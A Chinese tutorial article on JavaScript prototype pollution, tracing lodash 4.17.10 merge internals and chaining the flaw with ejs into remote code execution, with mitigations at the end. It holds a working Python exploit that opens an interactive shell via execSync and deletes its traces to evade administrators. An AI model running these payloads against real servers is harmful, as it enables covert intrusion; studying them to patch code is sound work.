新聞中心
作為前端開發(fā)者,某天偶然遇到了原型鏈污染漏洞,原本以為沒有什么影響,好奇心驅(qū)使下,抽絲剝繭,發(fā)現(xiàn)原型鏈污染漏洞竟然也可以拿下服務(wù)器的shell管理權(quán)限,不可不留意!

我們提供的服務(wù)有:成都網(wǎng)站建設(shè)、成都做網(wǎng)站、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、興賓ssl等。為上千家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的興賓網(wǎng)站制作公司
某天正奮力的coding,機(jī)器人給發(fā)了這樣一條消息
查看發(fā)現(xiàn)是一個(gè)叫“原型鏈污染”(Prototype chain pollution)的漏洞,還好這只是 dev 依賴,當(dāng)前功能下幾乎沒什么影響,其修復(fù)方式可以通過升級包版本即可。
“原型鏈污染”漏洞,看起來好高大上的名字,和“互聯(lián)網(wǎng)黑話”有得一拼,好奇心驅(qū)使下,抽絲剝繭地研究一番。
目前該漏洞影響了框架常用的有:
- Lodash <= 4.15.11
- Jquery < 3.4.0
- ...
0x00 同學(xué)實(shí)現(xiàn)一下對象的合并?
面試官讓被面試的同學(xué)寫個(gè)對象合并,該同學(xué)一聽這問題,就這,就這,30s就寫好了一份利用遞歸實(shí)現(xiàn)的對象合并,代碼如下:
- function merge(target, source) {
- for (let key in source) {
- if (key in source && key in target) {
- merge(target[key], source[key])
- } else {
- target[key] = source[key]
- }
- }
- }
可是面試的同學(xué)不知道,他實(shí)現(xiàn)的代碼,會埋下一個(gè)原型鏈污染的漏洞,大家下次面試新同學(xué)的時(shí)候,可以問問了。
為啥會有原型鏈污染漏洞?
那么接下來,我們一起深入淺出地認(rèn)識一下原型鏈漏洞,以便于在日常開發(fā)過程中就規(guī)避掉這些可能的風(fēng)險(xiǎn)。
0x01 JavaScript中的原型鏈
1.1 基本概念
在javaScript中,實(shí)例對象與原型之間的鏈接,叫做原型鏈。其基本思想是利用原型讓一個(gè)引用類型繼承另一個(gè)引用類型的屬性和方法。然后層層遞進(jìn),就構(gòu)成了實(shí)例與原型的鏈條,這就是所謂原型鏈的基本概念。
三個(gè)名詞:
隱式原型:所有引用類型(函數(shù)、數(shù)組、對象)都有 __proto__ 屬性,例如arr.__proto__
顯式原型:所有函數(shù)擁有prototype屬性,例如:func.prototype
原型對象:擁有prototype屬性的對象,在定義函數(shù)時(shí)被創(chuàng)建
原型鏈之間的關(guān)系可以參考圖1.1:
圖1.1 原型鏈關(guān)系圖
1.2 原型鏈查找機(jī)制
當(dāng)一個(gè)變量在調(diào)用某方法或?qū)傩詴r(shí),如果當(dāng)前變量并沒有該方法或?qū)傩?,就會在該變量所在的原型鏈中依次向上查找是否存在該方法或?qū)傩裕绻袆t調(diào)用,否則返回undefined
1.3 哪里會用到
在開發(fā)中,常常會用到 toString()、valueOf()等方法,array類型的變量擁有更多的方法,例如forEach()、map()、includes()等等。例如聲明了一個(gè)arr數(shù)組類型的變量,arr變量卻可以調(diào)用如下圖中并未定義的方法和屬性。
通過變量的隱式原型可以查看到,數(shù)組類型變量的原型中已經(jīng)定義了這些方法。例如某變量的類型是Array,那么它就可以基于原型鏈查找機(jī)制,調(diào)用相應(yīng)的方法或?qū)傩浴?/p>
1.4 風(fēng)險(xiǎn)點(diǎn)分析&原型鏈污染漏洞原理
首先看一個(gè)簡單的例子:
- var a = {name: 'dyboy', age: 18};
- a.__proto__.role = 'administrator'
- var b = {}
- b.role // output: administrator
實(shí)際運(yùn)行結(jié)果如下:
運(yùn)行結(jié)果
可以發(fā)現(xiàn),給隱式原型增加了一個(gè)role的屬性,并且賦值為administrator(管理員)。在實(shí)例化一個(gè)新對象b的時(shí)候,雖然沒有role屬性,但是通過原型鏈可以讀取到通過對象a在原型鏈上賦值的‘a(chǎn)dministrator’。
問題就來了,__proto__指向的原型對象是可讀可寫的,如果通過某些操作(常見于merge,clone等方法),使得黑客可以增、刪、改原型鏈上的方法或?qū)傩?,那么程序就可能會因原型鏈污染而受到DOS、越權(quán)等攻擊
0x02 Demo演示 & 組合拳
2.1 Demo演示
Demo使用koa2來實(shí)現(xiàn)的服務(wù)端:
- const Koa = require("koa");
- const bodyParser = require("koa-bodyparser");
- const _ = require("lodash");
- const app = new Koa();
- app.use(bodyParser());
- // 合并函數(shù)
- const combine = (payload = {}) => {
- const prefixPayload = { nickname: "bytedanceer" };
- // 用法可參考:https://lodash.com/docs/4.17.15#merge
- _.merge(prefixPayload, payload);
- // 另外其他也存在問題的函數(shù):merge defaultsDeep mergeWith
- };
- app.use(async (ctx) => {
- // 某業(yè)務(wù)場景下,合并了用戶提交的payload
- if(ctx.method === 'POST') {
- combine(ctx.request.body);
- }
- // 某頁面某處邏輯
- const user = {
- username: "visitor",
- };
- let welcomeText = "同學(xué),游泳健身,了解一下?";
- // 因user.role不存在,所以恒為假(false),其中代碼不可能執(zhí)行
- if (user.role === "admin") {
- welcomeText = "尊敬的VIP,您來啦!";
- }
- ctx.body = welcomeText;
- });
- app.listen(3001, () => {
- console.log("Running: http://localohost:3001");
- });
當(dāng)一個(gè)游客用戶訪問網(wǎng)址:http://127.0.0.1:3001/ 時(shí),頁面會顯示“同學(xué),游泳健身,了解一下?”
可以看到在代碼中使用了loadsh(4.17.10版本)的merge()函數(shù),將用戶的payload和prefixPayload做了合并。
乍一看,似乎并沒有什么問題,對于業(yè)務(wù)似乎也不會產(chǎn)生什么問題,無論用戶訪問什么都應(yīng)該只會返回“同學(xué),游泳健身,了解一下?”這句話,程序上user.role是一個(gè)恒為為undefined的條件,則永遠(yuǎn)不會執(zhí)行if判斷體中的代碼。
然而使用特殊的payload測試,也就是運(yùn)行一下我們的attack.py腳本
當(dāng)我們再訪問http://127.0.0.1:3001時(shí),會發(fā)現(xiàn)返回的結(jié)果如下:
瞬間變成了健身房的VIP對吧,可以快樂白嫖了?此時(shí),無論什么用戶訪問這個(gè)網(wǎng)址,返回的網(wǎng)頁都會是顯示如上結(jié)果,人人VIP時(shí)代。如果是咱寫的代碼在線上出現(xiàn)這問題,【事故通報(bào)】了解一下。
attact.py 的代碼如下:
- import requests
- import json
- req = requests.Session()
- target_url = 'http://127.0.0.1:3001'
- headers = {'Content-type': 'application/json'}
- # payload = {"__proto__": {"role": "admin"}}
- payload = {"constructor": {"prototype": {"role": "admin"}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- print('攻擊完成!')
攻擊代碼中的payload:{"constructor": {"prototype": {"role": "admin"}}} 通過merge()函數(shù)實(shí)現(xiàn)合并賦值,同時(shí),由于payload設(shè)置了constructor,merge時(shí)會給原型對象增加role屬性,且默認(rèn)值為admin,所以訪問的用戶變成了“VIP”
2.2 分析一下loadsh中merge函數(shù)的實(shí)現(xiàn)
分析的lodash版本4.17.10(感興趣的同學(xué)可以拿到源碼自己手動追溯)node_modules/lodash/merge.js中通過調(diào)用了baseMerge(object, source, srcIndex)函數(shù) 則定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge函數(shù)
- function baseMerge(object, source, srcIndex, customizer, stack) {
- if (object === source) {
- return;
- }
- baseFor(source, function(srcValue, key) {
- // 如果合并的屬性值是對象
- if (isObject(srcValue)) {
- stack || (stack = new Stack);
- // 調(diào)用 baseMerge
- baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
- }
- else {
- var newValue = customizer
- ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
- : undefined;
- if (newValue === undefined) {
- newValue = srcValue;
- }
- assignMergeValue(object, key, newValue);
- }
- }, keysIn);
- }
關(guān)注到safeGet的函數(shù):
- function safeGet(object, key) {
- return key == '__proto__'
- ? undefined
- : object[key];
- }
這也是為什么上面的payload為什么沒使用__proto__而是使用了等同于這個(gè)屬性的構(gòu)造函數(shù)的prototype
有payload是一個(gè)對象因此定位到node_modules/lodash/_baseMergeDeep.js第32行:
- function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
- var objValue = safeGet(object, key),
- srcValue = safeGet(source, key),
- stacked = stack.get(srcValue);
- if (stacked) {
- assignMergeValue(object, key, stacked);
- return;
- }
定位函數(shù)assignMergeValue 于 node_modules/lodash/_assignMergeValue.js第13行
- function assignMergeValue(object, key, value) {
- if ((value !== undefined && !eq(object[key], value)) ||
- (value === undefined && !(key in object))) {
- baseAssignValue(object, key, value);
- }
- }
再定位baseAssignValue于node_modules/lodash/_baseAssignValue.js第12行
- function baseAssignValue(object, key, value) {
- if (key == '__proto__' && defineProperty) {
- defineProperty(object, key, {
- 'configurable': true,
- 'enumerable': true,
- 'value': value,
- 'writable': true
- });
- } else {
- object[key] = value;
- }
- }
繞過了if判斷,然后進(jìn)入else邏輯中,是一個(gè)簡單的直接賦值操作,并未對constructor和prototype進(jìn)行判斷,因此就有了:
- prefixPayload = { nickname: "bytedanceer" };
- // payload:{"constructor": {"prototype": {"role": "admin"}}}
- _.merge(prefixPayload, payload);
- // 然后就給原型對象賦值了一個(gè)名為role,值為admin的屬性
故而導(dǎo)致了用戶會進(jìn)入一個(gè)不可能進(jìn)入的邏輯里,也就造成了上面出現(xiàn)的“越權(quán)”問題。
2.3 漏洞組合拳,拿下服務(wù)器權(quán)限
從上面的Demo案例中,你可能會有種錯(cuò)覺:原型鏈漏洞似乎并沒有什么太大的影響,是不是不需要特別關(guān)注(相較于sql注入,xss,csrf等漏洞)。
真的是這樣嗎?來看一個(gè)稍微修改了的另一個(gè)例子(增加使用了ejs渲染引擎),以原型鏈污染漏洞為基礎(chǔ),我們一起拿下服務(wù)器的shell!
- const express = require('express');
- const bodyParser = require('body-parser');
- const lodash = require('lodash');
- const app = express();
- app
- .use(bodyParser.urlencoded({extended: true}))
- .use(bodyParser.json());
- app.set('views', './views');
- app.set('view engine', 'ejs');
- app.get("/", (req, res) => {
- let title = '游客你好';
- const user = {};
- if(user.role === 'vip') {
- title = 'VIP你好';
- }
- res.render('index', {title: title});
- });
- app.post("/", (req, res) => {
- let data = {};
- let input = req.body;
- lodash.merge(data, input);
- res.json({message: "OK"});
- });
- app.listen(8888, '0.0.0.0');
該例子基于express+ejs+lodash,同理,訪問localhost:8888也是只會顯示游客你好,同上可以使用原型鏈攻擊,使得“人人VIP”,但不僅限于此,我們還可以深入利用,借助ejs的渲染以及包含原型鏈污染漏洞的lodash就可以實(shí)現(xiàn)RCE(Remote Code Excution,遠(yuǎn)程代碼執(zhí)行)
先看看我們可以實(shí)現(xiàn)的攻擊效果:
可以看到,借助attack.py腳本,我們可以執(zhí)行任意的shell命令,于此同時(shí)我們還保證了不會影響其他用戶(管理員無法輕易感知入侵),在接下來的情況黑客就會常識性地進(jìn)行提權(quán)、權(quán)限維持、橫向滲透等攻擊,以獲取更大利益,但與此同時(shí),也會給企業(yè)帶來更大損失。
上面的攻擊方法,是基于loadsh的原型鏈污染漏洞和ejs模板渲染相配合形成的代碼注入,進(jìn)而形成危害更大的RCE漏洞。
接下來看看形成漏洞的原因:
1.打斷點(diǎn)調(diào)試render方法
2.進(jìn)入render方法,將options和模板名傳給app.render()
3.獲取到對應(yīng)的渲染引擎ejs
4.進(jìn)入一個(gè)異常處理
5.繼續(xù)
6.通過模板文件渲染
7.處理緩存,這個(gè)函數(shù)也沒啥可以利用的地方
8.終于來到模板編譯的地方了
9.繼續(xù)沖
10.終于進(jìn)入ejs庫里了
在這個(gè)文件當(dāng)中,發(fā)現(xiàn)第578行的opts.outputFunctionName是一undefined的值,如果該屬性值存在,那么就拼接到變量prepended中,之后的第597行可以看到,作為了輸出源碼的一部分
在697行,將拼接的源碼,放到了回調(diào)函數(shù)中,然后返回該回調(diào)函數(shù)
11.在tryHandleCache中調(diào)用了該回調(diào)函數(shù)
最后完成了渲染輸出到客戶端。
可以發(fā)現(xiàn)在第10步驟中,第578行的opts.outputFunctionName是一undefined的值,我們通過對象原型鏈賦值一個(gè)js代碼,那么它就會拼接到代碼中(代碼注入),并且在模版渲染的過程中會執(zhí)行該js代碼。
在nodejs環(huán)境下,可以借助其可調(diào)用系統(tǒng)方法代碼拼接到該渲染回調(diào)函數(shù)中,作為函數(shù)體傳遞給回調(diào)函數(shù),那么就可以實(shí)現(xiàn)遠(yuǎn)程任意代碼執(zhí)行,也就是上面演示的效果,用戶可以執(zhí)行任意系統(tǒng)命令。
2.4 優(yōu)雅地實(shí)現(xiàn)一個(gè)攻擊腳本
優(yōu)雅的地方就在于,讓管理員和其他用戶基本不會有感知,能夠偷偷摸摸拿下服務(wù)器的shell。
Exploit完整腳本如下:
- import requests
- import json
- req = requests.Session()
- target_url = 'http://127.0.0.1:8888'
- headers = {'Content-type': 'application/json'}
- # 無效攻擊
- # payload = {"__proto__": {"role": "vip"}}
- # 普通的邏輯攻擊
- payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}
- # RCE攻擊
- # payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}
- # 反彈shell,比如反彈到MSF/CS上
- # 模擬一個(gè)交互式shell
- if __name__ == "__main__":
- payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}'
- while(True):
- shell = input('shell: ')
- if shell == '':
- continue
- if shell == 'exit':
- break
- formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" + shell +"'); //"
- payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- res2 = req.get(target_url)
- print(res2.text)
- # 處理痕跡
- formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
- payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- req.get(target_url)
0x03 如何規(guī)避或修復(fù)漏洞
3.1 可能存在漏洞的場景
- 對象克隆
- 對象合并
- 路徑設(shè)置
3.2 如何規(guī)避
首先,原型鏈的漏洞其實(shí)需要攻擊者對于項(xiàng)目工程或者能夠通過某些方法(例如文件讀取漏洞)獲取到源碼,攻擊的研究成本較高,一般不用擔(dān)心。但攻擊者可能會通過一些腳本進(jìn)行批量黑盒測試,或借助某些經(jīng)驗(yàn)或規(guī)律,便可降低研究成本,所以也不能輕易忽略此問題。
- 及時(shí)升級包版本:公司的研發(fā)體系中,安全運(yùn)維參與整個(gè)過程,在打包等操作時(shí),會自動觸發(fā)安全檢測,其實(shí)就提醒了開發(fā)者可能存在有風(fēng)險(xiǎn)的三方包,這就需要大家及時(shí)升級對應(yīng)的三方包到最新版,或者嘗試替換更加安全的包。
- 關(guān)鍵詞過濾:結(jié)合漏洞可能存在場景,可多關(guān)注下對象拷貝和合并等代碼塊,是否針對__proto__、constructor和prototype關(guān)鍵詞做過濾。
- 使用hasOwnProperty來判斷屬性是否直接來自于目標(biāo),這個(gè)方法會忽略從原型鏈上繼承到的屬性。
- 在處理 json 字符串時(shí)進(jìn)行判斷,過濾敏感鍵名。
- 使用 Object.create(null) 創(chuàng)建沒有原型的對象。
- 用Object.freeze(Object.prototype)凍結(jié)Object的原型,使Object的原型無法被修改,注意該方法是一個(gè)淺層凍結(jié)。
0x04 問題 & 探索
4.1 更多問題
Q:為什么在demo案例中payload中不用__proto__?
A:在我使用的loadsh庫4.17.10版本中,發(fā)現(xiàn)針對__proto__關(guān)鍵詞做了判斷和過濾,因此想到了通過訪問構(gòu)造函數(shù)的prototype的方式繞過
Q:在Demo中,為什么被攻擊后,任意用戶訪問都是VIP身份了?
A:JavaAcript是單線程執(zhí)行程序的,所以原型鏈上的屬性相當(dāng)于是global,所有連接的用戶都共享,當(dāng)某個(gè)用戶的操作改變了原型鏈上的內(nèi)容,那么所有訪問者訪問程序的都是基于修改之后的原型鏈
4.2 探索
作為安全研究人員,上面演示的原型鏈漏洞看似威脅并不大,但實(shí)際上黑客的攻擊往往是漏洞的組合,當(dāng)一個(gè)輕危級別的漏洞,作為高危漏洞的攻擊的基礎(chǔ),那么低危漏洞還能算是低危漏洞嗎?這更需要安全研究人員,不僅要追求對高危漏洞的挖掘,還得增強(qiáng)對基礎(chǔ)漏洞的探索意識。
作為開發(fā)人員,我們可以嘗試下,如何借助工具快速檢測程序中是否存在原型鏈污染漏洞,以期望加強(qiáng)企業(yè)程序的安全性。幸運(yùn)的是,在公司內(nèi)部已經(jīng)通過編譯平臺做了一些安全檢查,大家可以加強(qiáng)對于安全的關(guān)注度。
原型鏈污染的利用難度雖然較大,但是基于其特性,所有的開源庫都在npm上可以看到,如果惡意的黑客,通過批量檢測開源庫,并且通過搜集特征,那么他想要獲取攻擊目標(biāo)程序的是否引用具有漏洞的開源庫也并非是一件困難的事情。
那么我們自己寫一個(gè)腳本去Github上刷一波,也不是不行...
當(dāng)前標(biāo)題:前端原型鏈污染漏洞竟可以拿下服務(wù)器shell?
URL分享:http://www.dlmjj.cn/article/dphdiec.html


咨詢
建站咨詢
